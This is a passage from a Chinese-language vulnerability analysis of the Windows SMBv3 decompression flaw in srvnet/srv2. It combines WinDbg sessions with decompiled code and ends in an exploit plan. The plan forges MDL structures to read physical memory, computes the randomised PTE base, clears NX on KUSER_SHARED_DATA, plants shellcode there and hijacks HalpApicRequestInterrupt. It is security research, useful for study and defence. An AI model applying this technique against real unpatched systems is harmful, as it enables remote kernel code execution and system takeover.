举个例子（单核系统），假设需要的缓冲区长度为0x10101（需要0x20100大小的缓冲区来存放），得到SrvNetBufferLookasides表中的索引为5，最终通过一步一步索引得到缓冲区0xffffcc0f775f0150（熟悉的SRVNET_BUFFER_HDR结构）：
kd>
srvnet!SrvNetAllocateBuffer+0x5d:
fffff806`2280679d 440fb7c5 movzx r8d,bp
//SrvNetBufferLookasides表 大小0x48 索引0-8
kd> dq rcx
fffff806`228350f0 ffffcc0f`7623dd00 ffffcc0f`7623d480
fffff806`22835100 ffffcc0f`7623dc40 ffffcc0f`7623d100
fffff806`22835110 ffffcc0f`7623dd80 ffffcc0f`7623d640
fffff806`22835120 ffffcc0f`7623db40 ffffcc0f`7623dbc0
fffff806`22835130 ffffcc0f`7623de00
//SrvNetBufferLookasides[5] 单核系统核心数1再加1为2（第一项）
kd> dq ffffcc0f`7623d640
ffffcc0f`7623d640 00000000`00000002 6662534c`3030534c
ffffcc0f`7623d650 00000000`00020100 00000000`00000200
ffffcc0f`7623d660 ffffcc0f`762356c0 00000000`00000000
ffffcc0f`7623d670 00000000`00000000 00000000`00000000
//上面的结构偏移0x20
kd> dq ffffcc0f`762356c0
ffffcc0f`762356c0 ffffcc0f`75191ec0 ffffcc0f`75192980
//上面的结构偏移8 v8 = v7 = 2 - 1 = 1
kd> dq ffffcc0f`75192980
ffffcc0f`75192980 00000000`00090001 ffffcc0f`775f0150
ffffcc0f`75192990 00000009`01000004 00000009`00000001
ffffcc0f`751929a0 00000200`00000000 00020100`3030534c
ffffcc0f`751929b0 fffff806`2280d600 fffff806`2280d590
ffffcc0f`751929c0 ffffcc0f`76047cb0 ffffcc0f`75190780
ffffcc0f`751929d0 00000001`00000009 00000000`00000000
ffffcc0f`751929e0 ffffcc0f`75191ec0 00000000`00000000
ffffcc0f`751929f0 00000000`00000001 00000000`00000000
//ExpInterlockedPopEntrySList弹出偏移8处的0xffffcc0f775f0150，还是熟悉的味道（SRVNET_BUFFER_HDR）
kd> dd ffffcc0f`775f0150
ffffcc0f`775f0150 00000000 00000000 72f39558 ffffcc0f
ffffcc0f`775f0160 00050000 00000000 775d0050 ffffcc0f
ffffcc0f`775f0170 00020100 00000000 00020468 00000000
ffffcc0f`775f0180 775d0000 ffffcc0f 775f01e0 ffffcc0f
ffffcc0f`775f0190 00000000 6f726274 00000000 00000000
ffffcc0f`775f01a0 775f0320 ffffcc0f 00000000 00000000
ffffcc0f`775f01b0 00000000 00000001 63736544 74706972
ffffcc0f`775f01c0 006e6f69 00000000 ffffffd8 00610043
SrvNetBufferLookasides是由自定义的SrvNetCreateBufferLookasides函数初始化的。如下所示，这里其实就是以1
<< (index + 0xC)) + 0x100为长度（0 <= index <
9），然后调用PplCreateLookasideList设置上面介绍的那些结构。在PplCreateLookasideList函数中设置上面第二三个结构，在PplpCreateOneLookasideList函数中设置上面第四个结构，最终在SrvNetAllocateBufferFromPool函数（SrvNetBufferLookasideAllocate函数调用）中设置SRVNET_BUFFER_HDR结构。
//SrvNetCreateBufferLookasides
while ( 1 )
{
v4 = PplCreateLookasideList(
(__int64 (__fastcall *)())SrvNetBufferLookasideAllocate,
(__int64 (__fastcall *)(PSLIST_ENTRY))SrvNetBufferLookasideFree,
v1, // 0
v2, // 0
(1 << (v3 + 0xC)) + 0x100,
0x3030534C,
v6,
0x6662534Cu);
*v0 = v4;
if ( !v4 )
break;
++v3;
++v0;
if ( v3 >= 9 )
return 0i64;
}
以下为对SRVNET_BUFFER_HDR结构的初始化过程，v7为 length（满足 (1 << (index + 0xC)) + 0x100 条件）+
0xE8（SRVNET_BUFFER_HDR结构长度+8+0x50）+ 2 * (MDL +
8)，其中MDL结构大小和length+0xE8相关，后面会介绍。然后通过ExAllocatePoolWithTag函数分配v7大小的内存，根据偏移获取UserBufferPtr（偏移0x50）、SRVNET_BUFFER_HDR（偏移0x50加length，8字节对齐）等地址，具体如下，不一一介绍。
//SrvNetAllocateBufferFromPool
v8 = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v7, 0x3030534Cu);
......
v11 = (__int64)(v8 + 0x50);
v12 = (SRVNET_BUFFER_HDR *)((unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64); //v2是length
v12->PoolAllocationPtr = v8;
v12->pMdl2 = (PMDL)((unsigned __int64)&v12->unknown3[v5 + 0xF] & 0xFFFFFFFFFFFFFFF8ui64);
v13 = (_MDL *)((unsigned __int64)&v12->unknown3[0xF] & 0xFFFFFFFFFFFFFFF8ui64);
v12->UserBufferPtr = v8 + 0x50;
v12->pMdl1 = v13;
v12->BufferFlags = 0;
v12->TracingDataCount = 0;
v12->UserBufferSizeAllocated = v2;
v12->UserBufferSizeUsed = 0;
v14 = ((_WORD)v8 + 0x50) & 0xFFF;
v12->PoolAllocationSize = v7;
v12->BytesProcessed = 0;
v12->BytesReceived = 0i64;
v12->pSrvNetWskStruct = 0i64;
v12->SmbFlags = 0;
//SRVNET_BUFFER_HDR 例：
kd> dq rdi
ffffcc0f`76fed150 00000000`00000000 00000000`00000000
ffffcc0f`76fed160 00000000`00000000 ffffcc0f`76fe9050
ffffcc0f`76fed170 00000000`00004100 00000000`000042a8
ffffcc0f`76fed180 ffffcc0f`76fe9000 ffffcc0f`76fed1e0
ffffcc0f`76fed190 00000000`00000000 00000000`00000000
ffffcc0f`76fed1a0 ffffcc0f`76fed240 00000000`00000000
ffffcc0f`76fed1b0 00000000`00000000 00000000`00000000
ffffcc0f`76fed1c0 00000000`00000000 00000000`00000000
通过MmSizeOfMdl函数获取MDL结构长度，以下为获取0x41e8长度空间所需的MDL结构长度 ( 0x58
)，其中，0x30为基础长度，0x28存放5个物理页的pfn（0x41e8长度的数据需要存放在5个页）。
kd>
srvnet!SrvNetAllocateBufferFromPool+0x62:
fffff806`2280d2d2 e809120101 call nt!MmSizeOfMdl (fffff806`2381e4e0)
kd> r rcx
rcx=0000000000000000
kd> r rdx //0x4100 + 0xe8
rdx=00000000000041e8
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x67:
fffff806`2280d2d7 488d6808 lea rbp,[rax+8]
kd> r rax //0x30+0x28
rax=0000000000000058
kd> dt _mdl
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
MmBuildMdlForNonPagedPool函数调用后，MdlFlags被设置为4，且对应的物理页pfn被写入MDL结构，
_然后通过MmMdlPageContentsState函数以及或操作将MdlFlags设置为0x5004（20484）。_
kd>
srvnet!SrvNetAllocateBufferFromPool+0x1b0:
fffff806`2280d420 e8eb220301 call nt!MmBuildMdlForNonPagedPool (fffff806`2383f710)
kd> dt _mdl @rcx
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n88
+0x00a MdlFlags : 0n0
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : (null)
+0x020 StartVa : 0xffffcc0f`76fe9000 Void
+0x028 ByteCount : 0x4100
+0x02c ByteOffset : 0x50
kd> dd rcx
ffffcc0f`76fed1e0 00000000 00000000 00000058 00000000
ffffcc0f`76fed1f0 00000000 00000000 00000000 00000000
ffffcc0f`76fed200 76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210 00000000 00000000 00000000 00000000
ffffcc0f`76fed220 00000000 00000000 00000000 00000000
ffffcc0f`76fed230 00000000 00000000 00000000 00000000
ffffcc0f`76fed240 00000000 00000000 00000000 00000000
ffffcc0f`76fed250 00000000 00000000 00000000 00000000
//flag以及物理页pfn被设置
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x1b5:
fffff806`2280d425 488b4f38 mov rcx,qword ptr [rdi+38h]
kd> dt _mdl ffffcc0f`76fed1e0
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n88
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffffcc0f`76fe9050 Void
+0x020 StartVa : 0xffffcc0f`76fe9000 Void
+0x028 ByteCount : 0x4100
+0x02c ByteOffset : 0x50
kd> dd ffffcc0f`76fed1e0
ffffcc0f`76fed1e0 00000000 00000000 00040058 00000000
ffffcc0f`76fed1f0 00000000 00000000 76fe9050 ffffcc0f
ffffcc0f`76fed200 76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210 00041099 00000000 00037d1a 00000000
ffffcc0f`76fed220 00037d9b 00000000 00039c9c 00000000
ffffcc0f`76fed230 00037d1d 00000000 00000000 00000000
ffffcc0f`76fed240 00000000 00000000 00000000 00000000
ffffcc0f`76fed250 00000000 00000000 00000000 00000000
//是正确的物理页
kd> dd ffffcc0f`76fe9000
ffffcc0f`76fe9000 00000000 00000000 00000000 00000000
ffffcc0f`76fe9010 76fe9070 ffffcc0f 00000001 00000000
ffffcc0f`76fe9020 00000001 00000001 76fe9088 ffffcc0f
ffffcc0f`76fe9030 00000008 00000000 00000000 00000000
ffffcc0f`76fe9040 00000000 00000000 76fe90f8 ffffcc0f
ffffcc0f`76fe9050 00000290 00000000 76feb4d8 ffffcc0f
ffffcc0f`76fe9060 00000238 00000000 0000000c 00000000
ffffcc0f`76fe9070 00000018 00000001 eb004a11 11d49b1a
kd> !dd 41099000
#41099000 00000000 00000000 00000000 00000000
#41099010 76fe9070 ffffcc0f 00000001 00000000
#41099020 00000001 00000001 76fe9088 ffffcc0f
#41099030 00000008 00000000 00000000 00000000
#41099040 00000000 00000000 76fe90f8 ffffcc0f
#41099050 00000290 00000000 76feb4d8 ffffcc0f
#41099060 00000238 00000000 0000000c 00000000
#41099070 00000018 00000001 eb004a11 11d49b1a
### 物理地址读
根据前面的介绍可知，SRVNET BUFFER HDR结构体中存放了两个MDL结构（Memory Descriptor
List，内存描述符列表）指针，分别位于其0x38和0x50偏移处，MDL维护缓冲区的物理地址信息，以下为某个请求结构的第一个MDL：
2: kd> dt _mdl poi(rax+38)
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n20484
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffffae8d`0cfe3050 Void
+0x020 StartVa : 0xffffae8d`0cfe3000 Void
+0x028 ByteCount : 0x1100
+0x02c ByteOffset : 0x50
2: kd> dd poi(rax+38)
ffffae8d`0cfe41e0 00000000 00000000 50040040 00000000
ffffae8d`0cfe41f0 00000000 00000000 0cfe3050 ffffae8d
ffffae8d`0cfe4200 0cfe3000 ffffae8d 00001100 00000050
ffffae8d`0cfe4210 0004a847 00000000 00006976 00000000
ffffae8d`0cfe4220 00000000 00000000 00000000 00000000
ffffae8d`0cfe4230 00040040 00000000 00000000 00000000
ffffae8d`0cfe4240 00000000 00000000 0cfe3000 ffffae8d
ffffae8d`0cfe4250 00001100 00000050 00000000 00000000
0xFFFFAE8D0CFE3000映射自物理页4A847 ，0xFFFFAE8D0CFE4000映射自物理页6976。和上面MDL结构可以对应起来。
3: kd> !pte 0xffffae8d`0cfe3000
VA ffffae8d0cfe3000
PXE at FFFFF6FB7DBEDAE8 PPE at FFFFF6FB7DB5D1A0 PDE at FFFFF6FB6BA34338 PTE at FFFFF6D746867F18
contains 0A000000013BE863 contains 0A000000013C1863 contains 0A00000020583863 contains 8A0000004A847B63
pfn 13be ---DA--KWEV pfn 13c1 ---DA--KWEV pfn 20583 ---DA--KWEV pfn 4a847 CG-DA--KW-V
3: kd> !pte 0xffffae8d`0cfe4000
VA ffffae8d0cfe4000
PXE at FFFFF6FB7DBEDAE8 PPE at FFFFF6FB7DB5D1A0 PDE at FFFFF6FB6BA34338 PTE at FFFFF6D746867F20
contains 0A000000013BE863 contains 0A000000013C1863 contains 0A00000020583863 contains 8A00000006976B63
pfn 13be ---DA--KWEV pfn 13c1 ---DA--KWEV pfn 20583 ---DA--KWEV pfn 6976 CG-DA--KW-V
在Srv2DecompressData函数中，如果解压失败，就会调用SrvNetFreeBuffer，在这个函数中对不需要的缓冲区进行一些处理之后将其放回SrvNetBufferLookasides表，但没有对User
Buffer区域以及MDL相关数据进行处理，后面再用到的时候会直接取出来用（前面分析过），存在数据未初始化的隐患。如下所示，在nt!ExpInterlockedPushEntrySList函数被调用后，伪造了pMDL1指针的SRVNET
BUFFER HDR结构体指针被放入SrvNetBufferLookasides。
//Srv2DecompressData
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
3: kd> dq poi(poi(SrvNetBufferLookasides)+20)
ffffae8d`0bbb54c0 ffffae8d`0bbddbc0 ffffae8d`0bbdd980
ffffae8d`0bbb54d0 ffffae8d`0bbdd7c0 ffffae8d`0bbdd640
ffffae8d`0bbb54e0 ffffae8d`0bbdd140 0005d2a7`00000014
ffffae8d`0bbb54f0 0002974b`0003d3e0 00000064`00005000
ffffae8d`0bbb5500 52777445`0208f200 0006f408`0006f3f3
ffffae8d`0bbb5510 ffffae8d`0586bb58 ffffae8d`0bbb5f10
ffffae8d`0bbb5520 ffffae8d`0bbb5520 ffffae8d`0bbb5520
ffffae8d`0bbb5530 ffffae8d`0586bb20 00000000`00000000
3: kd> p
srvnet!SrvNetFreeBuffer+0x18b:
fffff800`494758ab ebcf jmp srvnet!SrvNetFreeBuffer+0x15c (fffff800`4947587c)
3: kd> dq ffffae8d`0bbdd140
ffffae8d`0bbdd140 00000000`00130002 ffffae8d`0dbf6150
ffffae8d`0bbdd150 0000001a`01000004 00000013`0000000d
ffffae8d`0bbdd160 00000200`00000000 00001100`3030534c
ffffae8d`0bbdd170 fffff800`4947d600 fffff800`4947d590
ffffae8d`0bbdd180 ffffae8d`0bbdd9c0 ffffae8d`08302ac0
ffffae8d`0bbdd190 00000009`00000016 00000000`00000000
ffffae8d`0bbdd1a0 ffffae8d`0bbddbc0 00000000`00000000
ffffae8d`0bbdd1b0 00000000`00000001 00000000`00000000
3: kd> dq ffffae8d`0dbf6150 //假设伪造了pmdl1指针
ffffae8d`0dbf6150 ffffae8d`0a771150 cdcdcdcd`cdcdcdcd
ffffae8d`0dbf6160 00000003`00000000 ffffae8d`0dbf5050
ffffae8d`0dbf6170 00000000`00001100 00000000`00001278
ffffae8d`0dbf6180 ffffae8d`0dbf5000 fffff780`00000e00
ffffae8d`0dbf6190 00000000`00000000 00000000`00000000
ffffae8d`0dbf61a0 ffffae8d`0dbf6228 00000000`00000000
ffffae8d`0dbf61b0 00000000`00000000 00000000`00000000
ffffae8d`0dbf61c0 00000000`00000000 00000000`00000000
ricercasecurity文章中提示可通过伪造MDL结构（设置后面的物理页pfn）来泄露物理内存。在后续处理某些请求时，会从SrvNetBufferLookasides表中取出缓冲区来存放数据，因而数据包有概率分配在被破坏的缓冲区上，由于网卡驱动最终会依赖DMA（Direct
Memory
Access，直接内存访问）来传输数据包，因而伪造的MDL结构可控制读取有限的数据。如下所示，Smb2ExecuteNegotiateReal函数在处理SMB协商的过程中又从SrvNetBufferLookasides中获取到了被破坏的缓冲区，其pMDL1指针已经被覆盖为伪造的MDL结构地址0xfffff78000000e00，该结构偏移0x30处的物理页被指定为0x1aa。
3: kd> dd fffff78000000e00 //伪造的MDL结构
fffff780`00000e00 00000000 00000000 50040040 0b470280
fffff780`00000e10 00000000 00000000 00000050 fffff780
fffff780`00000e20 00000000 fffff780 00001100 00000008
fffff780`00000e30 000001aa 00000000 00000001 00000000
3: kd> k
# Child-SP RetAddr Call Site
00 ffffd700`634cf870 fffff800`494767de nt!ExpInterlockedPopEntrySListResume+0x7
01 ffffd700`634cf880 fffff800`44d24de6 srvnet!SrvNetAllocateBuffer+0x9e
02 ffffd700`634cf8d0 fffff800`44d3d584 srv2!Srv2AllocateResponseBuffer+0x1e
03 ffffd700`634cf900 fffff800`44d29a9f srv2!Smb2ExecuteNegotiateReal+0x185f4
04 ffffd700`634cfad0 fffff800`44d2989a srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
05 ffffd700`634cfb50 fffff800`457d9037 srv2!RfspThreadPoolNodeWorkerRun+0x1ba
06 ffffd700`634cfbb0 fffff800`45128ce5 nt!IopThreadStart+0x37
07 ffffd700`634cfc10 fffff800`452869ca nt!PspSystemThreadStartup+0x55
08 ffffd700`634cfc60 00000000`00000000 nt!KiStartSystemThread+0x2a
3: kd>
srv2!Smb2ExecuteNegotiateReal+0x592:
fffff800`44d25522 498b86f8000000 mov rax,qword ptr [r14+0F8h]
3: kd>
srv2!Smb2ExecuteNegotiateReal+0x599:
fffff800`44d25529 488b5818 mov rbx,qword ptr [rax+18h]
3: kd> dd rax //被破坏了的pmdl1指针
ffffae8d`0cfce150 00000000 00000000 005c0073 00750050
ffffae8d`0cfce160 00000002 00000003 0cfcd050 ffffae8d
ffffae8d`0cfce170 00001100 000000c4 00001278 00650076
ffffae8d`0cfce180 0cfcd000 ffffae8d 00000e00 fffff780
ffffae8d`0cfce190 00000000 006f0052 00000000 00000000
ffffae8d`0cfce1a0 0cfce228 ffffae8d 00000000 00000000
ffffae8d`0cfce1b0 00000000 00450054 0050004d 0043003d
ffffae8d`0cfce1c0 005c003a 00730055 00720065 005c0073
在后续数据传输过程中会调用hal!HalBuildScatterGatherListV2函数，其会利用MDL结构中的PFN、ByteOffset以及ByteCount来设置_SCATTER_GATHER_ELEMENT结构。然后调用TRANSMIT::MiniportProcessSGList函数（位于e1i65x64.sys，网卡驱动，测试环境）直接传送数据，该函数第三个参数为_SCATTER_GATHER_LIST类型，其两个
_SCATTER_GATHER_ELEMENT结构分别指明了0x3d942c0 和 0x1aa008
（物理地址），如下所示，当函数执行完成后，0x1aa物理页的部分数据被泄露。其中，0x1aa008来自于伪造的MDL结构，计算过程为：(0x1aa <<
c) + 8。
1: kd> dd r8
ffffae8d`0b454ca0 00000002 ffffae8d 00000001 00000000
ffffae8d`0b454cb0 03d942c0 00000000 00000100 ffffae8d
ffffae8d`0b454cc0 00000000 00000260 001aa008 00000000
ffffae8d`0b454cd0 00000206 00000000 00640064 00730069
1: kd> dt _SCATTER_GATHER_LIST @r8
hal!_SCATTER_GATHER_LIST
+0x000 NumberOfElements : 2
+0x008 Reserved : 1
+0x010 Elements : [0] _SCATTER_GATHER_ELEMENT
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0
hal!_SCATTER_GATHER_ELEMENT
+0x000 Address : _LARGE_INTEGER 0x3d942c0
+0x008 Length : 0x100
+0x010 Reserved : 0x00000260`00000000
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0+18
hal!_SCATTER_GATHER_ELEMENT
+0x000 Address : _LARGE_INTEGER 0x1aa008
+0x008 Length : 0x206
+0x010 Reserved : 0x00730069`00640064
1: kd> !db 0x3d9438a l100
# 3d9438a 00 50 56 c0 00 08 00 0c-29 c9 e3 5d 08 00 45 00 .PV.....)..]..E.
# 3d9439a 02 2e 45 8c 00 00 80 06-00 00 c0 a8 8c 8a c0 a8 ..E.............
# 3d943aa 8c 01 01 bd df c4 e1 1c-22 7e c3 d1 b7 0d 50 18 ........"~....P.
# 3d943ba 20 14 9b fd 00 00 c3 d1-b7 0d 00 00 00 00 00 00 ...............
1: kd> !dd 0x1aa008
# 1aa008 00000000 00000000 00000000 00000000
# 1aa018 00000000 00000000 00000000 00000000
# 1aa028 00000000 00000000 00000000 00000000
# 1aa038 00000000 00000000 00000000 00000000
# 1aa048 00000000 00000000 00000000 00000000
# 1aa058 00000000 00000000 00000000 00000000
# 1aa068 00000000 00000000 00000000 00000000
# 1aa078 00000000 00000000 00000000 00000000
正常的响应包应该是以下这个样子的，这次通过查看MiniportProcessSGList函数第四个参数（_NET_BUFFER类型）来验证，如下所示，此次MDL结构中维护的物理地址（0x4a84704c）和线性地址（0xffffae8d0cfe304c）是一致的：
3: kd> dt _NET_BUFFER @r9
ndis!_NET_BUFFER
+0x000 Next : (null)
+0x008 CurrentMdl : 0xffffae8d`0ca6ac50 _MDL
+0x010 CurrentMdlOffset : 0xca
+0x018 DataLength : 0x23c
+0x018 stDataLength : 0x00010251`0000023c
+0x020 MdlChain : 0xffffae8d`0ca6ac50 _MDL
+0x028 DataOffset : 0xca
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : 0
+0x032 Reserved : 5
+0x038 NdisPoolHandle : 0xffffae8d`08304900 Void
+0x040 NdisReserved : [2] 0xffffae8d`0c2e19a0 Void
+0x050 ProtocolReserved : [6] 0x00000206`00000100 Void
+0x080 MiniportReserved : [4] (null)
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0xff0201cb`ff0201cd
+0x0a8 SharedMemoryInfo : (null)
+0x0a8 ScatterGatherList : (null)
3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0ca6ac50)
((ndis!_MDL *)0xffffae8d0ca6ac50) : 0xffffae8d0ca6ac50 [Type: _MDL *]
[+0x000] Next : 0xffffae8d0850d690 [Type: _MDL *]
[+0x008] Size : 56 [Type: short]
[+0x00a] MdlFlags : 4 [Type: short]
[+0x00c] AllocationProcessorNumber : 0x2e7 [Type: unsigned short]
[+0x00e] Reserved : 0xff02 [Type: unsigned short]
[+0x010] Process : 0x0 [Type: _EPROCESS *]
[+0x018] MappedSystemVa : 0xffffae8d0ca6ac90 [Type: void *]
[+0x020] StartVa : 0xffffae8d0ca6a000 [Type: void *]
[+0x028] ByteCount : 0x100 [Type: unsigned long]
[+0x02c] ByteOffset : 0xc90 [Type: unsigned long]
3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0850d690)
((ndis!_MDL *)0xffffae8d0850d690) : 0xffffae8d0850d690 [Type: _MDL *]
[+0x000] Next : 0x0 [Type: _MDL *]
[+0x008] Size : 56 [Type: short]
[+0x00a] MdlFlags : 16412 [Type: short]
[+0x00c] AllocationProcessorNumber : 0x3 [Type: unsigned short]
[+0x00e] Reserved : 0x0 [Type: unsigned short]
[+0x010] Process : 0x0 [Type: _EPROCESS *]
[+0x018] MappedSystemVa : 0xffffae8d0cfe304c [Type: void *]
[+0x020] StartVa : 0xffffae8d0cfe3000 [Type: void *]
[+0x028] ByteCount : 0x206 [Type: unsigned long]
[+0x02c] ByteOffset : 0x4c [Type: unsigned long]
3: kd> db 0xffffae8d0cfe304c
ffffae8d`0cfe304c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
ffffae8d`0cfe305c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe306c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe307c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe308c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
ffffae8d`0cfe309c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
ffffae8d`0cfe30ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
ffffae8d`0cfe30bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.
3: kd> !db 0x4a84704c
#4a84704c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
#4a84705c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84706c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84707c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84708c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
#4a84709c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
#4a8470ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
#4a8470bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.
### 漏洞利用流程
1.通过任意地址写伪造MDL结构
2.利用解压缩精准覆盖pMDL1指针，使得压缩数据正好可以解压出伪造的MDL结构地址，但要控制解压失败，避免不必要的后续复制操作覆盖掉重要数据
3.利用前两步读取1aa（1ad）页，寻找自索引值，根据这个值计算PTE base
4.根据PTE BASE和KUSER_SHARED_DATA的虚拟地址计算出该地址的PTE，修改KUSER_SHARED_DATA区域的可执行权限
5.将Shellcode通过任意地址写复制到0xfffff78000000800（属于KUSER_SHARED_DATA）
6.获取halpInterruptController指针以及hal!HalpApicRequestInterrupt指针，利用任意地址写将hal!HalpApicRequestInterrupt指针覆盖为Shellcode地址，将halpInterruptController指针复制到已知区域（以便Shellcode可以找到hal!HalpApicRequestInterrupt函数地址并将halpInterruptController偏移0x78处的该函数指针还原）。hal!HalpApicRequestInterrupt函数是系统一直会调用的函数，劫持了它就等于劫持了系统执行流程。
**计算 PTE BASE：**
使用物理地址读泄露1aa页的数据（测试虚拟机采用BIOS引导），找到其自索引，通过(index << 39) |
0xFFFF000000000000得到PTE BASE。如下例所示：1aa页自索引为479（0x1DF），因而PTE BASE为(0x1DF << 39)
| 0xFFFF000000000000 = 0xFFFFEF8000000000。
0: kd> !dq 1aa000 l1df+1
# 1aa000 8a000000`0de64867 00000000`00000000
# 1aa010 00000000`00000000 00000000`00000000
# 1aa020 00000000`00000000 00000000`00000000
# ......
# 1aaed0 0a000000`013b3863 00000000`00000000
# 1aaee0 00000000`00000000 00000000`00000000
# 1aaef0 00000000`00000000 80000000`001aa063
1: kd> ?(0x1DF << 27) | 0xFFFF000000000000
Evaluate expression: -18141941858304 = ffffef80`00000000
**计算 KUSER_SHARED_DATA 的 PTE：**
通过 PTE BASE 和 KUSER_SHARED_DATA 的 VA 可以算出KUSER_SHARED_DATA 的 PTE，2017年黑客大会的一篇
PDF
里有介绍。计算过程实际是来源于ntoskrnl.exe中的MiGetPteAddress函数，如下所示，其中0xFFFFF68000000000为未随机化时的PTE
BASE，但自Windows 10 1607起 PTE BASE
被随机化，不过幸运的是，这个值可以从MiGetPteAddress函数偏移0x13处获取，系统运行后会将随机化的基址填充到此处（后面一种思路用了这个）：
.text:00000001400F1D28 MiGetPteAddress proc near ; CODE XREF: MmInvalidateDumpAddresses+1B↓p
.text:00000001400F1D28 ; MiResidentPagesForSpan+1B↓p ...
.text:00000001400F1D28 shr rcx, 9
.text:00000001400F1D2C mov rax, 7FFFFFFFF8h
.text:00000001400F1D36 and rcx, rax
.text:00000001400F1D39 mov rax, 0FFFFF68000000000h
.text:00000001400F1D43 add rax, rcx
.text:00000001400F1D46 retn
.text:00000001400F1D46 MiGetPteAddress endp
1: kd> u MiGetPteAddress
nt!MiGetPteAddress:
fffff802`045add28 48c1e909 shr rcx,9
fffff802`045add2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`045add36 4823c8 and rcx,rax
fffff802`045add39 48b80000000080efffff mov rax,0FFFFEF8000000000h
fffff802`045add43 4803c1 add rax,rcx
fffff802`045add46 c3 ret
fffff802`045add47 cc int 3
fffff802`045add48 cc int 3
在获取了PTE BASE之后可按照以上流程计算某地址的PTE，按照上面的代码计算FFFFF7800000000（KUSER_SHARED_DATA
的起始地址）的PTE为：((FFFFF78000000000 >> 9 ) & 7FFFFFFFF8) + 0xFFFFEF8000000000 =
0xFFFFEFFBC0000000，对比如下输出可知，我们已经成功计算出了FFFFF7800000000对应的PTE。
0: kd> !pte fffff78000000000
VA fffff78000000000
PXE at FFFFEFF7FBFDFF78 PPE at FFFFEFF7FBFEF000 PDE at FFFFEFF7FDE00000 PTE at FFFFEFFBC0000000
contains 0000000001300063 contains 0000000001281063 contains 0000000001782063 contains 00000000013B2963
pfn 1300 ---DA--KWEV pfn 1281 ---DA--KWEV pfn 1782 ---DA--KWEV pfn 13b2 -G-DA--KWEV
PDF链接：<https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf>
**去NX标志位：**
知道了目标地址的PTE（
0xFFFFEFFBC0000000），就可以为其去掉NX标志，这样就可以在这个区域执行代码了，思路是利用任意地址写将PTE指向的地址的 NoExecute
标志位修改为0。
2: kd> db ffffeffb`c0000006
ffffeffb`c0000006 00 80 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0: kd> db FFFFEFFBC0000000+6 //修改后
ffffeffb`c0000006 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
